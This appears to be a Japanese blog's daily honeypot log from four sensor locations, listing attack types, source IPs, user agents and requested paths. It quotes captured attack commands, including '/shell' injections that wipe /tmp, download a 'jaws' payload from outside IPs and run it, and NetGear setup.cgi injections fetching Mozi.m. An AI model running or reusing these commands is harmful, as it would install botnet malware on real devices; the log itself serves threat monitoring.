2023/04/07 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/04/07分です。

特徴

共通

zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 167.71.210.63/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 45.81.243.34/jaws;
sh /tmp/jaws

Location:US

GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
/.gitへのスキャン行為
5.188.210.227に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 167.71.210.63/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 45.81.243.34/jaws;
sh /tmp/jaws

Location:UK

GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
Apache Tomcatへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 167.71.210.63/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 45.81.243.34/jaws;
sh /tmp/jaws

Location:SG

GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 167.71.210.63/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 45.81.243.34/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：111 (前日比：-4)
US：総アクセス数：95 (前日比：-12)
UK：総アクセス数：111 (前日比：-3)
SG：総アクセス数：104 (前日比：-163)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
24	20.5.213.226	United States
1	27.124.12.16	Singapore
1	41.232.17.116	Egypt
19	43.154.141.71	Singapore
1	45.56.108.128	United States
1	45.79.128.205	United States
1	45.79.172.21	United States
1	45.79.181.179	United States
1	45.79.181.251	United States
1	45.83.66.232	Germany
1	47.102.131.171	China
1	51.158.37.186	France
1	58.48.166.2	China
1	61.7.137.113	Thailand
1	99.23.15.154	United States
1	104.192.0.50	United States
2	104.248.229.49	United States
1	119.23.217.111	China
1	131.161.211.192	Brazil
8	135.125.246.110	France
8	135.125.246.189	France
2	138.68.153.47	United States
1	139.196.171.41	China
2	146.190.119.189	United States
7	165.227.40.164	United States
1	172.104.11.4	United States
1	172.104.11.34	United States
1	172.104.101.177	United States
2	172.105.128.12	United States
2	184.105.247.196	United States
1	192.155.90.118	United States
11	193.32.162.159	Romania
1	205.210.31.23	United States
1	207.32.217.136	United States
1	210.209.203.250	Taiwan

UserAgent一覧

件数	UserAgent
13	`-`
2	`Go-http-client/1.1`
8	`Hello, world`
24	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15`
19	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
18	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1`
6	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`

リクエスト内容一覧

件数	Method	Request	Protocol
13		`\x16\x03\x01`
1	GET	`/.env.development.local`	HTTP/1.1
1	GET	`/.env.development`	HTTP/1.1
1	GET	`/.env.old`	HTTP/1.1
1	GET	`/.env.prod`	HTTP/1.1
1	GET	`/.env.production.local`	HTTP/1.1
1	GET	`/.env.production`	HTTP/1.1
1	GET	`/.env.save`	HTTP/1.1
19	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`//.env`	HTTP/1.1
1	GET	`/?phpinfo=1`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
3	GET	`/aaa9`	HTTP/1.1
3	GET	`/aab8`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
11	GET	`/dispatch.asp`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/frontend_dev.php/$`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/phpinfo.php`	HTTP/1.1
5	GET	`/shell?cd+/tmp;rm+-rf+*;wget+167[.]71[.]210[.]63/jaws;sh+/tmp/jaws`	HTTP/1.1
3	GET	`/shell?cd+/tmp;rm+-rf+*;wget+45[.]81[.]243[.]34/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/tvplay/181442.html`	HTTP/1.1
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/v3/time`	HTTP/1.1
19	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	POST	`/.env.development.local`	HTTP/1.1
1	POST	`/.env.development`	HTTP/1.1
1	POST	`/.env.old`	HTTP/1.1
1	POST	`/.env.prod`	HTTP/1.1
1	POST	`/.env.production.local`	HTTP/1.1
1	POST	`/.env.production`	HTTP/1.1
1	POST	`/.env.save`	HTTP/1.1
1	POST	`/.env`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	1.81.197.2	China
1	5.188.210.227	Russia
1	27.124.12.9	Singapore
1	37.44.238.97	France
1	45.79.181.94	United States
1	45.79.181.104	United States
1	45.79.181.251	United States
1	45.83.66.132	Germany
1	45.88.66.237	Bulgaria
20	54.37.79.75	France
1	80.66.77.236	Russia
1	85.105.210.60	Turkey
1	89.32.41.129	Romania
7	95.214.235.216	Ukraine
2	104.168.21.13	United States
2	104.248.229.49	United States
1	116.149.231.157	China
2	138.68.143.68	United States
1	139.162.112.109	Netherlands
2	146.190.119.114	United States
2	152.89.196.54	Russia
2	154.209.125.115	Seychelles
7	157.245.222.255	United States
2	162.142.125.223	United States
1	169.150.197.99	United States
1	172.104.11.4	United States
3	172.104.11.34	United States
2	172.104.11.46	United States
1	172.104.11.51	United States
1	172.105.89.161	United States
1	172.105.128.12	United States
1	179.43.177.242	Panama
1	180.149.125.173	Mongolia
2	184.105.139.69	United States
7	185.254.196.223	Ukraine
1	187.189.18.44	Mexico
1	191.37.203.159	Brazil
8	193.32.162.159	Romania
1	194.49.94.234	Bulgaria
1	223.149.50.122	China

UserAgent一覧

件数	UserAgent
17	`-`
1	`Hello, World`
4	`Hello, world`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0`
1	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
37	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1`
7	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
1	`Python-urllib/2.7`
1	`python-requests/2.28.2`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
14		`\x16\x03\x01`
1	GET	`/../../mnt/mtd/Config/Account1`	HTTP/1.1
36	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/_profiler/empty/search/results`	HTTP/1.1
3	GET	`/aaa9`	HTTP/1.1
3	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
1	GET	`/cgi-bin/test-cgi`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
8	GET	`/dispatch.asp`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+167[.]71[.]210[.]63/jaws;sh+/tmp/jaws`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+45[.]81[.]243[.]34/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/tvplay/181442.html`	HTTP/1.1
1	GET	`/upl.php`	HTTP/1.1
1	GET	`http[:]//5[.]188[.]210[.]227/echo.php`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	34.100.217.255	United States
1	37.44.238.97	France
1	40.124.128.94	United States
1	45.79.128.205	United States
1	45.79.172.21	United States
2	45.79.181.104	United States
1	45.79.181.223	United States
1	45.83.64.34	Germany
1	45.88.66.237	Bulgaria
2	45.141.215.193	Netherlands
2	47.92.79.105	China
28	51.79.29.48	Canada
1	58.252.162.102	China
1	59.110.28.158	China
1	66.240.192.82	United States
6	68.183.112.129	United States
1	80.66.77.236	Russia
8	95.214.235.216	Ukraine
1	103.102.120.98	India
1	104.131.66.187	United States
2	104.248.229.49	United States
1	106.178.221.150	Japan
2	109.237.97.180	Russia
1	115.210.199.104	China
1	122.116.21.168	Taiwan
2	138.68.153.47	United States
2	152.89.196.54	Russia
2	154.6.91.150	United States
2	167.71.229.198	United States
2	167.248.133.52	United States
1	172.104.11.46	United States
1	172.104.242.173	United States
2	172.105.128.11	United States
2	172.105.128.12	United States
1	172.111.10.150	United States
1	179.43.177.242	Panama
1	180.149.125.165	Mongolia
1	182.88.147.95	China
8	185.254.196.223	Ukraine
1	192.155.90.118	United States
1	192.155.90.220	United States
10	193.32.162.159	Romania
1	198.20.69.98	United States
1	198.235.24.34	United States

UserAgent一覧

件数	UserAgent
25	`-`
4	`Hello, world`
2	`Mozilla 5/0`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
49	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
7	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x16\x03\x01\x01H\x01`
16		`\x16\x03\x01`
1	GET	`/../../mnt/mtd/Config/Account1`	HTTP/1.1
50	GET	`/.env`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
3	GET	`/aaa9`	HTTP/1.1
3	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=ec8&psd=ec8`	HTTP/1.0
1	GET	`/c/`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
10	GET	`/dispatch.asp`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//58[.]252[.]162[.]102:45957/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
3	GET	`/shell?cd+/tmp;rm+-rf+*;wget+167[.]71[.]210[.]63/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+45[.]81[.]243[.]34/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/phpunit.xml`	HTTP/1.1
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
4	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	27.124.12.29	Singapore
1	36.226.236.33	Taiwan
1	37.44.238.97	France
1	39.172.110.67	China
1	45.33.80.243	United States
1	45.56.108.128	United States
1	45.79.128.205	United States
1	45.79.181.94	United States
1	45.79.181.179	United States
1	45.79.181.223	United States
1	45.83.67.18	Germany
1	45.88.66.237	Bulgaria
1	46.46.241.106	Norway
28	51.79.29.48	Canada
7	64.226.110.152	United States
1	66.240.192.82	United States
1	80.66.77.236	Russia
2	91.223.227.140	Ukraine
1	111.12.34.237	China
1	114.238.75.94	China
1	139.162.68.91	Netherlands
2	152.89.196.54	Russia
1	159.89.193.136	United States
2	162.142.125.225	United States
7	170.64.174.174	United States
1	172.104.11.4	United States
2	172.104.11.34	United States
2	172.105.128.13	United States
1	172.173.148.77	Germany
1	177.87.151.152	Brazil
1	177.87.151.195	Brazil
1	179.43.177.242	Panama
1	180.149.125.168	Mongolia
1	185.11.61.183	Russia
9	185.81.157.128	France
2	188.161.168.153	Palestine
2	192.155.90.118	United States
10	193.32.162.159	Romania
1	194.110.203.85	private ip address
1	196.189.37.154	Ethiopia
1	198.235.24.19	United States

UserAgent一覧

件数	UserAgent
26	`-`
7	`Hello, world`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
29	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.1`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1`
1	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`
9	`python-requests/2.27.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
20		`\x16\x03\x01`
1		`\x16\x03\x03`
1	GET	`/../../mnt/mtd/Config/Account1`	HTTP/1.1
1	GET	`/.env.example`	HTTP/1.1
30	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/API/.env`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/agc/timeclock.php`	HTTP/1.1
1	GET	`/agent/timeclock.php`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
2	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/config.env`	HTTP/1.1
10	GET	`/dispatch.asp`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
2	GET	`/geoip/`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/server/.env`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//114[.]238[.]75[.]94:57510/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
4	GET	`/shell?cd+/tmp;rm+-rf+*;wget+167[.]71[.]210[.]63/jaws;sh+/tmp/jaws`	HTTP/1.1
3	GET	`/shell?cd+/tmp;rm+-rf+*;wget+45[.]81[.]243[.]34/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/tvplay/181442.html`	HTTP/1.1
2	GET	`/upl.php`	HTTP/1.1
2	HEAD	`/.env`	HTTP/1.1
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	PRI	`*`	HTTP/2.0